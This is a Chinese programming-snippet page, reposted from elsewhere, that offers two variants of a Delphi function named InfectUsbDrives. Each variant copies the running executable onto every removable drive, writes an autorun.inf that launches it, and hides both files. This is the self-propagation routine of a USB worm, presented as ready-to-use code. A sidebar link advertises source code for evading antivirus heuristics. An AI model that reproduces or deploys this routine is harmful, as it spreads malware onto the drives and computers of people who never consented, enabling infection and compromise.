delphi 感染U盘


本文整理自网络,侵删。

 Infect USB Drives 感染U盘

function InfectUsbDrives(ExeName:string):integer;
var
Drives: array[0..128] of char;
xDrive: PChar;
myFile: TextFile;
begin
Result := 0;
GetLogicalDriveStrings(SizeOf(Drives), Drives);
xDrive := Drives;
while xDrive^ <> #0 do
begin
if(GetDriveType(xDrive)=DRIVE_REMOVABLE)and(FileExists(xDrive)=True)and(FileExists(xDrive+':\'+ExeName)=False) then
begin
try
CopyFile(PChar(ParamStr(0)),PChar(xDrive+':\'+ExeName),False);
AssignFile(myFile, xDrive+':\autorun.inf');
if not FileExists(xDrive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(xDrive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(xDrive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
except
end;
end;
Inc(xDrive, 4);
end;
end;
复制内容到剪贴板代码:

function InfectUsbDrives(ExeName:string):integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if(FileExists(Drive)=True)and(FileExists(Drive+':\'+ExeName)=False)then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(Drive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(Drive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
end;
except
end;
end;
end;
end;

相关阅读 >>

Delphi xe安装2010版控件

Delphi randomize 随机数

Delphi enablecontrols,disablecontrols函数

Delphi md5加密算法

Delphi中实现dbgrid列宽度自动调整

Delphi获取注册表run下所有值

Delphi 过卡巴2009和沙盘启发杀毒的Delphi源代码

Delphi获取文件创建时间、文件最后修改时间

Delphi xe5 与其他版本共存

Delphi中tlistview控件使用

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...